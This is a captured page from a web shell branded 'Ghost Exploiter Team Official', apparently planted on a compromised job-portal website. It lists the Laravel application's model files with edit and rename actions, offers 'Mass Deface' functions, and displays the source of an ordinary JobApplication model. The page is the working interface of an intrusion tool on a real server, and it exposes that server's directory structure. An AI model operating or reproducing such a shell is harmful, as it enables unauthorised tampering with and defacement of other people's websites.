webshell
Ghost Exploiter Team Official
Mass Deface
Directory >>
/
home
/
aminiwrc
/
listing.aminikamanpower.com
/
public_html
/
job_portal
/
app
/
Mass Deface Auto Detect Domain
/*Ubah Ke document_root untuk mass deface*/
File / Folder
Size
Action
.
-
+New File
Console
--
ren
Exceptions
--
ren
Exports
--
ren
Helper
--
ren
Http
--
ren
Notifications
--
ren
Providers
--
ren
Traits
--
ren
.DS_Store
8.004KB
edt
ren
ApplicantNote.php
0.183KB
edt
ren
ApplicationSetting.php
0.169KB
edt
ren
ApplicationSkill.php
0.396KB
edt
ren
ApplicationStatus.php
0.396KB
edt
ren
CandidateCategory.php
0.39KB
edt
ren
CandidateLocation.php
0.403KB
edt
ren
CandidateSkills.php
0.363KB
edt
ren
Company.php
0.479KB
edt
ren
CompanySetting.php
0.498KB
edt
ren
Country.php
0.101KB
edt
ren
Department.php
0.104KB
edt
ren
Designation.php
0.104KB
edt
ren
Document.php
0.206KB
edt
ren
Education.php
0.221KB
edt
ren
Email.php
0.245KB
edt
ren
EmailRecipient.php
0.332KB
edt
ren
EmailSetting.php
2.17KB
edt
ren
FooterSetting.php
0.101KB
edt
ren
InterviewSchedule.php
0.93KB
edt
ren
InterviewScheduleEmploy
...
0.381KB
edt
ren
Job.php
1.901KB
edt
ren
JobApplication.php
1.979KB
edt
ren
JobApplicationAnswer.php
0.401KB
edt
ren
JobCategory.php
0.225KB
edt
ren
JobLocation.php
0.229KB
edt
ren
JobSkill.php
0.187KB
edt
ren
LanguageSetting.php
0.108KB
edt
ren
LinkedInSetting.php
0.103KB
edt
ren
Module.php
0.227KB
edt
ren
Onboard.php
0.818KB
edt
ren
OnboardFiles.php
0.544KB
edt
ren
Permission.php
0.138KB
edt
ren
PermissionRole.php
0.229KB
edt
ren
Question.php
0.412KB
edt
ren
Resume.php
0.183KB
edt
ren
Role.php
0.288KB
edt
ren
RoleUser.php
0.342KB
edt
ren
SMS.php
0.258KB
edt
ren
SMSRecipient.php
0.373KB
edt
ren
ScheduleComments.php
0.475KB
edt
ren
Skill.php
0.229KB
edt
ren
SmsSetting.php
0.135KB
edt
ren
StickyNote.php
0.443KB
edt
ren
ThemeSetting.php
0.352KB
edt
ren
TodoItem.php
0.327KB
edt
ren
User.php
2.165KB
edt
ren
<?php namespace App; use Illuminate\Database\Eloquent\Model; use Illuminate\Database\Eloquent\SoftDeletes; use Illuminate\Notifications\Notifiable; class JobApplication extends Model { use Notifiable, SoftDeletes; //protected $fillable = ['educationId']; protected $dates = ['dob']; protected $casts = [ 'skills' => 'array' ]; protected $appends = ['resume_url', 'photo_url']; public function documents() { return $this->morphMany(Document::class, 'documentable'); } public function resumeDocument() { return $this->morphOne(Document::class, 'documentable')->where('name', 'Resume'); } public function job() { return $this->belongsTo(Job::class, 'job_id'); } public function jobs() { return $this->belongsToMany(Job::class); } public function status() { return $this->belongsTo(ApplicationStatus::class, 'status_id'); } public function schedule() { return $this->hasOne(InterviewSchedule::class)->latest(); } public function onboard() { return $this->hasOne(Onboard::class); } public function getResumeUrlAttribute() { if ($this->documents()->where('name', 'Resume')->first()) { return asset_url('documents/' . $this->id . '/' . $this->documents()->where('name', 'Resume')->first()->hashname); } return false; } public function notes() { return $this->hasMany(ApplicantNote::class, 'job_application_id')->orderBy('id', 'desc'); } public function getPhotoUrlAttribute() { if (is_null($this->photo)) { return asset('avatar.png'); } return asset_url('candidate-photos/' . $this->photo); } public function education(){ return $this->belongsTo(Education::class, 'educationId'); } public function applicationSkills(){ return $this->hasMany(ApplicationSkill::class, 'jobApplicationId'); } }